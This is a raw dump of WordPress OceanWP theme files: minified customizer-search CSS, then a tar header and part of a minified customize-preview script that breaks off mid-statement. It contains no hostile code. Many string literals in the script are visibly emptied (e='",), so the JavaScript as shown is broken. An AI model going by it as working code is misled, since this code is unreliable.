.offset-xl-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-xl-5,.ocean-customize-search-modal .offset-xl-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-xl-6,.ocean-customize-search-modal .offset-xl-6{margin-left:50%}#ocean-wp-customize-search .offset-xl-7,.ocean-customize-search-modal .offset-xl-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-xl-8,.ocean-customize-search-modal .offset-xl-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-xl-9,.ocean-customize-search-modal .offset-xl-9{margin-left:75%}#ocean-wp-customize-search .offset-xl-10,.ocean-customize-search-modal .offset-xl-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-xl-11,.ocean-customize-search-modal .offset-xl-11{margin-left:91.66667%}#ocean-wp-customize-search .g-xl-0,#ocean-wp-customize-search .gx-xl-0,.ocean-customize-search-modal .g-xl-0,.ocean-customize-search-modal .gx-xl-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-xl-0,#ocean-wp-customize-search .gy-xl-0,.ocean-customize-search-modal .g-xl-0,.ocean-customize-search-modal .gy-xl-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-xl-1,#ocean-wp-customize-search .gx-xl-1,.ocean-customize-search-modal .g-xl-1,.ocean-customize-search-modal .gx-xl-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-xl-1,#ocean-wp-customize-search .gy-xl-1,.ocean-customize-search-modal .g-xl-1,.ocean-customize-search-modal .gy-xl-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-xl-2,#ocean-wp-customize-search .gx-xl-2,.ocean-customize-search-modal .g-xl-2,.ocean-customize-search-modal .gx-xl-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-xl-2,#ocean-wp-customize-search .gy-xl-2,.ocean-customize-search-modal .g-xl-2,.ocean-customize-search-modal .gy-xl-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-xl-3,#ocean-wp-customize-search .gx-xl-3,.ocean-customize-search-modal .g-xl-3,.ocean-customize-search-modal .gx-xl-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-xl-3,#ocean-wp-customize-search .gy-xl-3,.ocean-customize-search-modal .g-xl-3,.ocean-customize-search-modal .gy-xl-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-xl-4,#ocean-wp-customize-search .gx-xl-4,.ocean-customize-search-modal .g-xl-4,.ocean-customize-search-modal .gx-xl-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-xl-4,#ocean-wp-customize-search .gy-xl-4,.ocean-customize-search-modal .g-xl-4,.ocean-customize-search-modal .gy-xl-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-xl-5,#ocean-wp-customize-search .gx-xl-5,.ocean-customize-search-modal .g-xl-5,.ocean-customize-search-modal .gx-xl-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-xl-5,#ocean-wp-customize-search .gy-xl-5,.ocean-customize-search-modal .g-xl-5,.ocean-customize-search-modal .gy-xl-5{--bs-gutter-y: 3rem}}@media (min-width: 1400px){#ocean-wp-customize-search .col-xxl,.ocean-customize-search-modal .col-xxl{flex:1 0 0%}#ocean-wp-customize-search .row-cols-xxl-auto>*,.ocean-customize-search-modal .row-cols-xxl-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-xxl-1>*,.ocean-customize-search-modal .row-cols-xxl-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-xxl-2>*,.ocean-customize-search-modal .row-cols-xxl-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-xxl-3>*,.ocean-customize-search-modal .row-cols-xxl-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-xxl-4>*,.ocean-customize-search-modal .row-cols-xxl-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-xxl-5>*,.ocean-customize-search-modal .row-cols-xxl-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-xxl-6>*,.ocean-customize-search-modal .row-cols-xxl-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-xxl-auto,.ocean-customize-search-modal .col-xxl-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-xxl-1,.ocean-customize-search-modal .col-xxl-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-xxl-2,.ocean-customize-search-modal .col-xxl-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-xxl-3,.ocean-customize-search-modal .col-xxl-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-xxl-4,.ocean-customize-search-modal .col-xxl-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-xxl-5,.ocean-customize-search-modal .col-xxl-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-xxl-6,.ocean-customize-search-modal .col-xxl-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-xxl-7,.ocean-customize-search-modal .col-xxl-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-xxl-8,.ocean-customize-search-modal .col-xxl-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-xxl-9,.ocean-customize-search-modal .col-xxl-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-xxl-10,.ocean-customize-search-modal .col-xxl-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-xxl-11,.ocean-customize-search-modal .col-xxl-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-xxl-12,.ocean-customize-search-modal .col-xxl-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-xxl-0,.ocean-customize-search-modal .offset-xxl-0{margin-left:0}#ocean-wp-customize-search .offset-xxl-1,.ocean-customize-search-modal .offset-xxl-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-xxl-2,.ocean-customize-search-modal .offset-xxl-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-xxl-3,.ocean-customize-search-modal .offset-xxl-3{margin-left:25%}#ocean-wp-customize-search .offset-xxl-4,.ocean-customize-search-modal .offset-xxl-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-xxl-5,.ocean-customize-search-modal .offset-xxl-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-xxl-6,.ocean-customize-search-modal .offset-xxl-6{margin-left:50%}#ocean-wp-customize-search .offset-xxl-7,.ocean-customize-search-modal .offset-xxl-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-xxl-8,.ocean-customize-search-modal .offset-xxl-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-xxl-9,.ocean-customize-search-modal .offset-xxl-9{margin-left:75%}#ocean-wp-customize-search .offset-xxl-10,.ocean-customize-search-modal .offset-xxl-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-xxl-11,.ocean-customize-search-modal .offset-xxl-11{margin-left:91.66667%}#ocean-wp-customize-search .g-xxl-0,#ocean-wp-customize-search .gx-xxl-0,.ocean-customize-search-modal .g-xxl-0,.ocean-customize-search-modal .gx-xxl-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-xxl-0,#ocean-wp-customize-search .gy-xxl-0,.ocean-customize-search-modal .g-xxl-0,.ocean-customize-search-modal .gy-xxl-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-xxl-1,#ocean-wp-customize-search .gx-xxl-1,.ocean-customize-search-modal .g-xxl-1,.ocean-customize-search-modal .gx-xxl-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-xxl-1,#ocean-wp-customize-search .gy-xxl-1,.ocean-customize-search-modal .g-xxl-1,.ocean-customize-search-modal .gy-xxl-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-xxl-2,#ocean-wp-customize-search .gx-xxl-2,.ocean-customize-search-modal .g-xxl-2,.ocean-customize-search-modal .gx-xxl-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-xxl-2,#ocean-wp-customize-search .gy-xxl-2,.ocean-customize-search-modal .g-xxl-2,.ocean-customize-search-modal .gy-xxl-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-xxl-3,#ocean-wp-customize-search .gx-xxl-3,.ocean-customize-search-modal .g-xxl-3,.ocean-customize-search-modal .gx-xxl-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-xxl-3,#ocean-wp-customize-search .gy-xxl-3,.ocean-customize-search-modal .g-xxl-3,.ocean-customize-search-modal .gy-xxl-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-xxl-4,#ocean-wp-customize-search .gx-xxl-4,.ocean-customize-search-modal .g-xxl-4,.ocean-customize-search-modal .gx-xxl-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-xxl-4,#ocean-wp-customize-search .gy-xxl-4,.ocean-customize-search-modal .g-xxl-4,.ocean-customize-search-modal .gy-xxl-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-xxl-5,#ocean-wp-customize-search .gx-xxl-5,.ocean-customize-search-modal .g-xxl-5,.ocean-customize-search-modal .gx-xxl-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-xxl-5,#ocean-wp-customize-search .gy-xxl-5,.ocean-customize-search-modal .g-xxl-5,.ocean-customize-search-modal .gy-xxl-5{--bs-gutter-y: 3rem}}#ocean-wp-customize-search .lead,.ocean-customize-search-modal .lead{font-size:1.25rem;font-weight:300}#ocean-wp-customize-search .display-1,.ocean-customize-search-modal .display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-1,.ocean-customize-search-modal .display-1{font-size:5rem}}#ocean-wp-customize-search .display-2,.ocean-customize-search-modal .display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-2,.ocean-customize-search-modal .display-2{font-size:4.5rem}}#ocean-wp-customize-search .display-3,.ocean-customize-search-modal .display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-3,.ocean-customize-search-modal .display-3{font-size:4rem}}#ocean-wp-customize-search .display-4,.ocean-customize-search-modal .display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-4,.ocean-customize-search-modal .display-4{font-size:3.5rem}}#ocean-wp-customize-search .display-5,.ocean-customize-search-modal .display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-5,.ocean-customize-search-modal .display-5{font-size:3rem}}#ocean-wp-customize-search .display-6,.ocean-customize-search-modal .display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width: 1200px){#ocean-wp-customize-search .display-6,.ocean-customize-search-modal .display-6{font-size:2.5rem}}#ocean-wp-customize-search .list-unstyled,.ocean-customize-search-modal .list-unstyled{padding-left:0;list-style:none}#ocean-wp-customize-search .list-inline,.ocean-customize-search-modal .list-inline{padding-left:0;list-style:none}#ocean-wp-customize-search .list-inline-item,.ocean-customize-search-modal .list-inline-item{display:inline-block}#ocean-wp-customize-search .list-inline-item:not(:last-child),.ocean-customize-search-modal .list-inline-item:not(:last-child){margin-right:.5rem}#ocean-wp-customize-search .initialism,.ocean-customize-search-modal .initialism{font-size:.875em;text-transform:uppercase}#ocean-wp-customize-search .blockquote,.ocean-customize-search-modal .blockquote{margin-bottom:1rem;font-size:1.25rem}#ocean-wp-customize-search .blockquote>:last-child,.ocean-customize-search-modal .blockquote>:last-child{margin-bottom:0}#ocean-wp-customize-search .blockquote-footer,.ocean-customize-search-modal .blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}#ocean-wp-customize-search .blockquote-footer::before,.ocean-customize-search-modal .blockquote-footer::before{content:"\2014\00A0"}#ocean-wp-customize-search .alert,.ocean-customize-search-modal .alert{position:relative;padding:1rem 1rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}#ocean-wp-customize-search .alert-heading,.ocean-customize-search-modal .alert-heading{color:inherit}#ocean-wp-customize-search .alert-link,.ocean-customize-search-modal .alert-link{font-weight:700}#ocean-wp-customize-search .alert-dismissible,.ocean-customize-search-modal .alert-dismissible{padding-right:3rem}#ocean-wp-customize-search .alert-dismissible .btn-close,.ocean-customize-search-modal .alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}#ocean-wp-customize-search .alert-primary,.ocean-customize-search-modal .alert-primary{color:#084298;background-color:#cfe2ff;border-color:#b6d4fe}#ocean-wp-customize-search .alert-primary .alert-link,.ocean-customize-search-modal .alert-primary .alert-link{color:#06357a}#ocean-wp-customize-search .alert-secondary,.ocean-customize-search-modal .alert-secondary{color:#41464b;background-color:#e2e3e5;border-color:#d3d6d8}#ocean-wp-customize-search .alert-secondary .alert-link,.ocean-customize-search-modal .alert-secondary .alert-link{color:#34383c}#ocean-wp-customize-search .alert-success,.ocean-customize-search-modal .alert-success{color:#0f5132;background-color:#d1e7dd;border-color:#badbcc}#ocean-wp-customize-search .alert-success .alert-link,.ocean-customize-search-modal .alert-success .alert-link{color:#0c4128}#ocean-wp-customize-search .alert-info,.ocean-customize-search-modal .alert-info{color:#055160;background-color:#cff4fc;border-color:#b6effb}#ocean-wp-customize-search .alert-info .alert-link,.ocean-customize-search-modal .alert-info .alert-link{color:#04414d}#ocean-wp-customize-search .alert-warning,.ocean-customize-search-modal .alert-warning{color:#664d03;background-color:#fff3cd;border-color:#ffecb5}#ocean-wp-customize-search .alert-warning .alert-link,.ocean-customize-search-modal .alert-warning .alert-link{color:#523e02}#ocean-wp-customize-search .alert-danger,.ocean-customize-search-modal .alert-danger{color:#842029;background-color:#f8d7da;border-color:#f5c2c7}#ocean-wp-customize-search .alert-danger .alert-link,.ocean-customize-search-modal .alert-danger .alert-link{color:#6a1a21}#ocean-wp-customize-search .alert-light,.ocean-customize-search-modal .alert-light{color:#636464;background-color:#fefefe;border-color:#fdfdfe}#ocean-wp-customize-search .alert-light .alert-link,.ocean-customize-search-modal .alert-light .alert-link{color:#4f5050}#ocean-wp-customize-search .alert-dark,.ocean-customize-search-modal .alert-dark{color:#141619;background-color:#d3d3d4;border-color:#bcbebf}#ocean-wp-customize-search .alert-dark .alert-link,.ocean-customize-search-modal .alert-dark .alert-link{color:#101214}@keyframes spinner-border{to{transform:rotate(360deg) /* rtl:ignore */}}#ocean-wp-customize-search .spinner-border,.ocean-customize-search-modal .spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;animation:.75s linear infinite spinner-border}#ocean-wp-customize-search .spinner-border-sm,.ocean-customize-search-modal .spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}#ocean-wp-customize-search .spinner-grow,.ocean-customize-search-modal .spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;background-color:currentColor;border-radius:50%;opacity:0;animation:.75s linear infinite spinner-grow}#ocean-wp-customize-search .spinner-grow-sm,.ocean-customize-search-modal .spinner-grow-sm{width:1rem;height:1rem}@media (prefers-reduced-motion: reduce){#ocean-wp-customize-search .spinner-border,#ocean-wp-customize-search .spinner-grow,.ocean-customize-search-modal .spinner-border,.ocean-customize-search-modal .spinner-grow{animation-duration:1.5s}}#ocean-wp-customize-search .modal-content,.ocean-customize-search-modal .modal-content{background-color:#06214E;color:#fff;border-radius:5px !important;overflow:hidden;border:none;box-shadow:0px 40px 50px -26px #838383}#ocean-wp-customize-search .modal-content button.list-group-item,.ocean-customize-search-modal .modal-content button.list-group-item{background:#06214e !important;color:#fff !important;border:none !important;margin-bottom:0px;border-radius:0px !important;line-height:1.6;padding-top:10px;animation:oceanFadeIn 0.4s}#ocean-wp-customize-search .modal-content button.list-group-item span.dashicons.dashicons-editor-break,.ocean-customize-search-modal .modal-content button.list-group-item span.dashicons.dashicons-editor-break{float:right;color:#06214e;visibility:hidden;background-color:#f8f9fcbf;border-radius:5px;border:solid 1px #f8f9fc;font-size:12px;font-weight:bold;padding:3px 2px;box-shadow:0px 4px 20px -7px #06214e}#ocean-wp-customize-search .modal-content button.list-group-item span.badge,.ocean-customize-search-modal .modal-content button.list-group-item span.badge{float:left;top:-2px;position:relative;margin-right:8px;background-color:#ededed;padding:4px 6px;border-radius:2px;margin:4px 8px 2px 0px;color:#000000;font-weight:500}#ocean-wp-customize-search .modal-content button.list-group-item span.badge span.dashicons.dashicons-arrow-right-alt2,.ocean-customize-search-modal .modal-content button.list-group-item span.badge span.dashicons.dashicons-arrow-right-alt2{font-size:10px;line-height:1;height:10px;width:10px;color:#2ea1fb}#ocean-wp-customize-search .modal-content button.list-group-item:hover,.ocean-customize-search-modal .modal-content button.list-group-item:hover{background:#d9e8ff !important;color:#06214e !important}#ocean-wp-customize-search .modal-content button.list-group-item:hover span.badge,.ocean-customize-search-modal .modal-content button.list-group-item:hover span.badge{background-color:#f8f9fc;color:#2ea1fb}#ocean-wp-customize-search .modal-content button.list-group-item:hover span.badge span.dashicons.dashicons-arrow-right-alt2,.ocean-customize-search-modal .modal-content button.list-group-item:hover span.badge span.dashicons.dashicons-arrow-right-alt2{color:#06214e}#ocean-wp-customize-search .modal-content button.list-group-item:hover span.dashicons.dashicons-editor-break,.ocean-customize-search-modal .modal-content button.list-group-item:hover span.dashicons.dashicons-editor-break{visibility:visible}#ocean-wp-customize-search .modal-header,.ocean-customize-search-modal .modal-header{background-color:#06214E;color:#fff;border:none;height:60px;position:relative;border-bottom:solid 1px #021026}#ocean-wp-customize-search .modal-header span.dashicons.dashicons-lightbulb,.ocean-customize-search-modal .modal-header span.dashicons.dashicons-lightbulb{position:absolute;right:50px;z-index:5;cursor:pointer;top:19px;color:#d9e8ff;background-color:#06214e;border-radius:5px;border:solid 1px #000000;font-size:14px;font-weight:bold;padding:4px;box-shadow:0px 4px 20px -7px #06214e;line-height:1;height:25px;width:25px}#ocean-wp-customize-search .modal-header span.dashicons.dashicons-lightbulb:hover,.ocean-customize-search-modal .modal-header span.dashicons.dashicons-lightbulb:hover{color:#0000009c;background:#ffffff}#ocean-wp-customize-search .modal-header .full-width,.ocean-customize-search-modal .modal-header .full-width{width:100%}#ocean-wp-customize-search .modal-header .full-width i.dashicons.dashicons-search:before,.ocean-customize-search-modal .modal-header .full-width i.dashicons.dashicons-search:before{font-size:30px;color:#d9e8ff}#ocean-wp-customize-search .modal-header .full-width input#ocean-wp-customize-search-input,.ocean-customize-search-modal .modal-header .full-width input#ocean-wp-customize-search-input{width:100%;float:right;line-height:2;background-color:#06214e;border:none;border-radius:0;position:absolute;top:0;left:0;height:100%;padding-left:70px;z-index:3;color:#fff;font-size:25px;font-weight:200}#ocean-wp-customize-search .modal-header .full-width input#ocean-wp-customize-search-input:focus,.ocean-customize-search-modal .modal-header .full-width input#ocean-wp-customize-search-input:focus{box-shadow:none !important}#ocean-wp-customize-search .modal-header .full-width input#ocean-wp-customize-search-input::placeholder,.ocean-customize-search-modal .modal-header .full-width input#ocean-wp-customize-search-input::placeholder{color:#d9e8ff !important}#ocean-wp-customize-search .modal-header .full-width i.dashicons.dashicons-search,.ocean-customize-search-modal .modal-header .full-width i.dashicons.dashicons-search{z-index:5;position:relative;top:-5px}#ocean-wp-customize-search .modal-header button.close,.ocean-customize-search-modal .modal-header button.close{border:none;background:none;font-size:22px;color:#fff;z-index:5;position:relative}#ocean-wp-customize-search .modal-body,.ocean-customize-search-modal .modal-body{padding:0px !important;background-color:#06214E;color:#fff}#ocean-wp-customize-search .modal-body .ps__rail-y,.ocean-customize-search-modal .modal-body .ps__rail-y{z-index:99999}#ocean-wp-customize-search .modal-body .list-group,.ocean-customize-search-modal .modal-body .list-group{max-height:400px}#ocean-wp-customize-search .modal-body .form-control,.ocean-customize-search-modal .modal-body .form-control{height:43px}#ocean-wp-customize-search .modal-body .badge.btn-success,#ocean-wp-customize-search .modal-body .badge.btn-warning,.ocean-customize-search-modal .modal-body .badge.btn-success,.ocean-customize-search-modal .modal-body .badge.btn-warning{margin-right:5px}#ocean-wp-customize-search .modal-body .text-muted,.ocean-customize-search-modal .modal-body .text-muted{display:block;font-style:italic}.ocean-customize-search-modal.light-theme .modal-content{background-color:#fff;color:#06214E;box-shadow:0px 40px 50px -26px #838383;border:none}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item{background:#fff !important;color:#06214e !important}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item span.dashicons.dashicons-editor-break{color:#2ea1fb}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item span.badge{background-color:#06214e;color:#fff}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item span.badge span.dashicons.dashicons-arrow-right-alt2{color:#d9e8ff}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item:hover{background:#d9e8ff !important;color:#06214e !important}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item:hover span.badge{background-color:#2ea1fb;color:#f8f9fc}.ocean-customize-search-modal.light-theme .modal-content button.list-group-item:hover span.badge span.dashicons.dashicons-arrow-right-alt2{color:#fff}.ocean-customize-search-modal.light-theme .modal-header{background-color:#fff;color:#06214E;border-bottom:solid 1px #ddd}.ocean-customize-search-modal.light-theme .modal-header span.dashicons.dashicons-lightbulb{background-color:#f8f9fcbf;border:solid 1px #ecf1ff;color:#2ea1fb;box-shadow:0px 4px 15px -11px #072250}.ocean-customize-search-modal.light-theme .modal-header span.dashicons.dashicons-lightbulb:hover{color:#fff;background:#0000009c}.ocean-customize-search-modal.light-theme .modal-header .full-width i.dashicons.dashicons-search:before{color:#afafaf}.ocean-customize-search-modal.light-theme .modal-header .full-width input#ocean-wp-customize-search-input{background-color:#fff;border:none;color:#06214E;border-radius:0}.ocean-customize-search-modal.light-theme .modal-header .full-width input#ocean-wp-customize-search-input::placeholder{color:#afafaf !important}.ocean-customize-search-modal.light-theme .modal-header button.close{color:#06214E}.ocean-customize-search-modal.light-theme .modal-body{background-color:#fff;color:#06214E}@keyframes oceanFadeIn{0%{opacity:0}100%{opacity:1}}#ocean-wp-customize-search{display:block;position:absolute;top:0;left:50px;width:45px;height:41px;padding:0 2px 0 0;background:#f0f0f1;border:none;border-top:4px solid #f0f0f1;border-right:1px solid #dcdcde;cursor:pointer;transition:color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out;box-sizing:content-box}#ocean-wp-customize-search:hover{background:#fff;box-shadow:none;outline:1px solid transparent;color:#06214E !important;border-top-color:#06214E !important}#ocean-wp-customize-search a.customize-controls-ocean-search{color:#3c434a !important;text-decoration:none !important;padding:10px 0px;width:100%;height:100%;text-align:center} customizer/assets/js/customize-preview.min.js000064400000652210151551031110015506 0ustar00!function(n){var e=wp.customize,o=n("body"),t=n("#site-header"),r=["all-devices","hide-tablet","hide-mobile","hide-tablet-mobile","hide-all-devices"],a=["left-menu","right-menu","center-menu"],i=["wider","centered","closer"],c=["left-menu","right-menu","center-menu"],l=["left-header","right-header"],d=["left-logo","center-logo","right-logo"],s=["tablet-1-col","tablet-2-col","tablet-3-col","tablet-4-col"],p=["mobile-1-col","mobile-2-col","mobile-3-col","mobile-4-col"],_=["top","center","bottom"];e("blogname",function(e){e.bind(function(e){n(".site-logo-text").text(e)})}),e("blogdescription",function(e){e.bind(function(e){n("#site-description h2").text(e)})}),e("ocean_primary_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_primary_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_hover_primary_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_hover_primary_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_main_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_main_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_position",function(e){e.bind(function(e){var o=n("#scroll-top");o.length&&(o.removeClass(),o.addClass("scroll-top-"+e))})}),e("ocean_pagination_align",function(e){e.bind(function(e){o.length&&(o.removeClass("pagination-center pagination-left pagination-right"),o.addClass("pagination-"+e))})}),e("ocean_page_single_both_sidebars_content_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_single_both_sidebars_content_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_single_both_sidebars_sidebars_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_single_both_sidebars_sidebars_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_both_sidebars_content_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_both_sidebars_content_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_search_both_sidebars_sidebars_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_search_both_sidebars_sidebars_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_background_color",function(e){e.bind(function(e){e&&n("body, .has-parallax-footer #main").css("background-color",e)})}),e("ocean_background_image_position",function(e){e.bind(function(e){e&&o.css("background-position",e)})}),e("ocean_background_image_attachment",function(e){e.bind(function(e){e&&o.css("background-attachment",e)})}),e("ocean_background_image_repeat",function(e){e.bind(function(e){e&&o.css("background-repeat",e)})}),e("ocean_background_image_size",function(e){e.bind(function(e){e&&o.css("background-size",e)})}),e("ocean_boxed_dropdshadow",function(e){e.bind(function(e){e?o.addClass("wrap-boxshadow"):o.removeClass("wrap-boxshadow")})}),e("ocean_top_bar_content",function(e){e.bind(function(e){n("#top-bar-content .topbar-content").html(e)})}),e("ocean_top_bar_full_width",function(e){e.bind(function(e){var o=n("#top-bar");1==e?o.removeClass("container"):o.addClass("container")})}),e("ocean_top_bar_visibility",function(e){e.bind(function(e){var t=n("#top-bar-wrap");t.length&&(n.each(r,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_header_full_width",function(e){e.bind(function(e){var o=n("#site-header-inner");1!=e||t.hasClass("custom-header")?o.addClass("container"):o.removeClass("container")})}),e("ocean_add_custom_header_container",function(e){e.bind(function(e){var o=n("#site-header.custom-header #site-header-inner");0==e?o.removeClass("container"):o.addClass("container")})}),e("ocean_header_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_header_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_header_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_header_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_medium_header_hidden_menu",function(e){e.bind(function(e){var o=n("#site-header.medium-header");e?o.addClass("hidden-menu"):o.removeClass("hidden-menu")})}),e("ocean_vertical_header_closed",function(e){e.bind(function(e){e?o.addClass("vh-closed"):o.removeClass("vh-closed")})}),e("ocean_has_header_border_bottom",function(e){e.bind(function(e){e?o.removeClass("no-header-border"):o.addClass("no-header-border")})}),e("ocean_after_header_content",function(e){e.bind(function(e){n("#site-header .after-header-content-inner").html(e)})}),e("ocean_header_image_position",function(e){e.bind(function(e){e&&n("#site-header").css("background-position",e)})}),e("ocean_header_image_attachment",function(e){e.bind(function(e){e&&n("#site-header").css("background-attachment",e)})}),e("ocean_header_image_repeat",function(e){e.bind(function(e){e&&n("#site-header").css("background-repeat",e)})}),e("ocean_header_image_size",function(e){e.bind(function(e){e&&n("#site-header").css("background-size",e)})}),e("ocean_menu_dropdown_top_border",function(e){e.bind(function(e){e?n("#site-navigation-wrap").removeClass("no-top-border"):n("#site-navigation-wrap").addClass("no-top-border")})}),e("ocean_menu_position",function(e){e.bind(function(e){t.length&&!t.hasClass("medium-header")&&(n.each(a,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_center_header_menu_position",function(e){e.bind(function(e){var t=n("#site-header.center-header #site-header-inner");t.length&&(n.each(i,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_medium_header_menu_position",function(e){e.bind(function(e){var t=n("#site-navigation-wrap");t.length&&n("#site-header").hasClass("medium-header")&&(n.each(c,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_vertical_header_position",function(e){e.bind(function(e){var t=n("body.vertical-header-style");t.length&&n("#site-header").hasClass("vertical-header")&&(n.each(l,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_vertical_header_shadow",function(e){e.bind(function(e){e?n("#site-header.vertical-header").addClass("has-shadow"):n("#site-header.vertical-header").removeClass("has-shadow")})}),e("ocean_vertical_header_logo_position",function(e){e.bind(function(e){var t=n("#site-header.vertical-header");t.length&&t.hasClass("vertical-header")&&(n.each(d,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_mobile_header_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_header_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mobile_menu_open_icon",function(e){e.bind(function(e){var o=n(".oceanwp-mobile-menu-icon a i");o.length&&(o.removeClass(),o.addClass(e))})}),e("ocean_mobile_menu_text",function(e){e.bind(function(e){n(".oceanwp-mobile-menu-icon a .oceanwp-text").html(e)})}),e("ocean_mobile_menu_close_text",function(e){e.bind(function(e){n(".oceanwp-mobile-menu-icon a .oceanwp-close-text").html(e)})}),e("ocean_mobile_menu_close_btn_icon",function(e){e.bind(function(e){var o=n("a.sidr-class-toggle-sidr-close i");o.length&&(o.removeClass(),o.addClass(e))})}),e("ocean_mobile_menu_close_btn_text",function(e){e.bind(function(e){n("a.sidr-class-toggle-sidr-close 